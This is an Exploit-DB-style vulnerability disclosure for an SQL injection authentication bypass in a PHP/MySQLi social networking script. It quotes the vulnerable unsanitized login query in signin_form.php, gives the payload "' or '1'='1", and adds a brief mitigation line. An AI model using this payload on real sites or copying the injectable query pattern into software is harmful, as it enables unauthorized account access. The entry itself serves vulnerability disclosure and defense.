header-logo
Suggest Exploit
vendor:
Social Networking Site in PHP/MySQLi with Full Source Code
by:
gh1mau
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Social Networking Site in PHP/MySQLi with Full Source Code
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
2020

Social Networking Site – Authentication Bypass (SQli)

Attacker could bypass the authentication using simple sqli login bypass payload. The vulnerable code is located in the signin_form.php file, with the entry point at lines 7 and 8, and the exit point at line 10. The payload used is username: gh1mau@gh1mau.com and password: ' or '1'='1.

Mitigation:

Input validation and sanitization should be used to prevent SQL injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: Social Networking Site - Authentication Bypass (SQli)
# Date: 2020-11-17
# Exploit Author: gh1mau 
# Email: gh1mau.rulez@gmail.com
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
# Software Release Date: November 17, 2020
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
---------------- 
/signin_form.php

Vulnerable Code:
-----------------
Entry point:

line 7: $email=$_POST['email'];
line 8: $password=$_POST['password'];

Exit point:
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");

Vulnerable Issue:
-----------------
Attacker could bypass the authentication using simple sqli login bypass payload

	username: gh1mau@gh1mau.com
	password: ' or '1'='1